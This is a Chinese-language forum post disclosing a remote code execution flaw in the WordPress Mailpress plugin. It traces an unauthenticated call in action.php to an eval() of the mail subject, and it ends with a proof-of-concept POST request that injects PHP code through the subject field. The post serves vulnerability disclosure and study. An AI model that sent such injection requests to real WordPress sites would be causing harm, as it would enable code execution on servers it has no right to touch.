kokotian 发表于 2016-9-21 12:46:54

WordPress-Mailpress远程代码执行漏洞

0x00 介绍
Mailpress是一个比较流行的邮件插件。
Plugin Directory:https://wordpress.org/plugins/mailpress/
官网:http://blog.mailpress.org
此漏洞已于2016年06月21日通报给wordpress。

0x01 漏洞简述
Mailpress存在越权调用,在不登陆的情况下,可以调用系统某些方法,造成远程命令执行。

0x02 漏洞详细
文件:
mailpress\mp-includes\action.php


1
2
3
4
5
6
7

                                                       

                                                                <?php
                                                       

                                                       

                                                                //
                                                       

                                                       

                                                                include(‘../../../../wp-load.php’);
                                                       

                                                       

                                                                //
                                                       

                                                       

                                                                include(‘../../../../wp-admin/includes/admin.php’);
                                                       

                                                       

                                                                //
                                                       

                                                       

                                                                new MP_Actions();
                                                       

                                               
转到:
mailpress\mp-includes\class\MP_Actions.class.php
即可以调用 MP_Actions.class.php 文件中任意方法。
其中:
autosave方法是添加邮件内容
我们来重点看看


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

                                                       

                                                                public static function iview()
                                                       

                                                       

                                                                {
                                                       

                                                       

                                                                $mp_general = get_option(MailPress::option_name_general);
                                                       

                                                       

                                                               
                                                       

                                                       

                                                                $id = $_GET[‘id’];
                                                       

                                                       

                                                                $main_id = (isset($_GET[‘main_id’])) ? $_GET[‘main_id’] : $id;
                                                       

                                                       

                                                               
                                                       

                                                       

                                                                $mail = MP_Mail::get($id);
                                                       

                                                       

                                                               
                                                       

                                                       

                                                                $theme = (isset($_GET[‘theme’]) && !empty($_GET[‘theme’])) ? $_GET[‘theme’] : (!empty($mail->theme) ? $mail->theme : false);
                                                       

                                                       

                                                                $mp_user_id = (isset($_GET[‘mp_user_id’]) && !empty($_GET[‘mp_user_id’])) ? $_GET[‘mp_user_id’] : false;
                                                       

                                                       

                                                               
                                                       

                                                       

                                                                // from
                                                       

                                                       

                                                                $from = (!empty($mail->fromemail)) ? MP_Mail::display_toemail($mail->fromemail, $mail->fromname) : MP_Mail::display_toemail($mp_general[‘fromemail’], $mp_general[‘fromname’]);
                                                       

                                                       

                                                                // to
                                                       

                                                       

                                                                $to = MP_Mail::display_toemail($mail->toemail, $mail->toname, ”, $mp_user_id);
                                                       

                                                       

                                                                // subject
                                                       

                                                       

                                                                $x = new MP_Mail();
                                                       

                                                       

                                                                $subject = (in_array($mail->status, array(‘sent’, ‘archived’))) ? $mail->subject : $x->do_eval($mail->subject);
                                                       

                                                       

                                                                $subject = $x->viewsubject($subject, $id, $main_id, $mp_user_id);
                                                       

                                                       

                                                                // template
                                                       

                                                       

                                                                $template = (in_array($mail->status, array(‘sent’, ‘archived’))) ? false : apply_filters(‘MailPress_draft_template’, false, $main_id);
                                                       

                                                       

                                                               
                                                       

                                                       

                                                                // content
                                                       

                                                       

                                                                $args = array();
                                                       

                                                       

                                                                $args[‘action’] = ‘viewadmin’;
                                                       

                                                       

                                                                foreach(array(‘id’, ‘main_id’, ‘theme’, ‘template’, ‘mp_user_id’) as $x) if ($$x) $args[$x] = $$x;
                                                       

                                                       

                                                               
                                                       

                                                       

                                                                foreach(array(‘html’, ‘plaintext’) as $type)
                                                       

                                                       

                                                                {
                                                       

                                                       

                                                                $args[‘type’] = $type;
                                                       

                                                       

                                                                if (!empty($mail->{$type})) $$type = “<iframe id=’i{$type}’ style=’width:100%;border:0;height:550px’ src='” . esc_url(add_query_arg( $args, MP_Action_url )) . “‘></iframe>”;
                                                       

                                                       

                                                                }
                                                       

                                                       

                                                               
                                                       

                                                       

                                                                // attachements
                                                       

                                                       

                                                                $attachements = ”;
                                                       

                                                       

                                                                $metas = MP_Mail_meta::has( $args[‘main_id’], ‘_MailPress_attached_file’);
                                                       

                                                       

                                                                if ($metas) foreach($metas as $meta) $attachements .= “<tr><td> ” . MP_Mail::get_attachement_link($meta, $mail->status) . “</td></tr>”;
                                                       

                                                       

                                                                $view = true;
                                                       

                                                       

                                                                include(MP_ABSPATH . ‘mp-includes/html/mail.php’);
                                                       

                                                       

                                                                }
                                                       

                                               
注意到代码:


1

                                                       

                                                                $subject = (in_array($mail->status, array(‘sent’, ‘archived’))) ? $mail->subject : $x->do_eval($mail->subject);
                                                       

                                               
转到 do_eval


1
2
3
4
5
6
7
8
9

                                                       

                                                                function do_eval($x)
                                                       

                                                       

                                                                {
                                                       

                                                       

                                                                $x = ‘global $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID; ?>’ . “\n $x”;
                                                       

                                                       

                                                                ob_start();
                                                       

                                                       

                                                                echo(eval($x));
                                                       

                                                       

                                                                $r = ob_get_contents();
                                                       

                                                       

                                                                ob_end_clean();
                                                       

                                                       

                                                                return $r;
                                                       

                                                       

                                                                }
                                                       

                                               
因此,subject参数造成远程命令执行

0x03 漏洞利用


1
2
3

                                                       

                                                                http://127.0.0.1/wordpress/wp-content/plugins/mailpress/mp-includes/action.php
                                                       

                                                       

                                                                post:
                                                       

                                                       

                                                                action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=<?php phpinfo();?>&html=&plaintext=&mail_format=standard&autosave=1
                                                       

                                               
1
1
页: [1]
查看完整版本: WordPress-Mailpress远程代码执行漏洞